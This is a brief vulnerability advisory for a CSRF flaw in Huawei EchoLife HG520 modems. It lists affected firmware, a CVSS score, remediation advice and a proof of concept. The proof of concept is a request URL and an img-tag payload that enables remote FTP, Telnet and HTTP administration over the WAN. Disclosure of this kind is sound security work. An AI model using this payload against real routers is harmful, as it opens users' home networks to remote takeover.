Critical May 29, 2010
Huawei EchoLife HG520 Remote Management CSRF
Huawei EchoLife HG520 modems do not require authentication to access certain pages such as: '/Forms/access_cwmp_1', '/Forms/rpQos_1' and '/Forms/rpRManage_1'. A CSRF exploit can be used to enable remote administration inerfaces on the WAN.
CVSS Score
9.6 / 10.0
Severity
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H Advisory
| Device | Huawei EchoLife HG520 |
| Vulnerable Models | HG520c, HG520b |
| Firmware | 3.10.18.7-1.0.7.0, 3.10.18.5-1.0.7.0 |
| Software | V100R001B021Telmex, V100R001B020Telmex |
| Impact | Enable remote admin over WAN |
| Websec Advisory | WS10-12 |
Description
Huawei EchoLife HG520 modems do not require authentication for certain configuration pages, including /Forms/access_cwmp_1, /Forms/rpQos_1, and /Forms/rpRManage_1. A CSRF payload can be used to enable the remote administration interfaces on the WAN.
Exploit / Proof of Concept
Enable FTP, Telnet, and HTTP remote admin by requesting:
http://192.168.1.254/Forms/rpRManage_1?ACL_active=0Client-side CSRF payload:
<img src="http://192.168.1.254/Forms/rpRManage_1?ACL_active=0">Remediation
No vendor fix. Users should not browse untrusted sites while logged into the modem web UI; disable remote admin.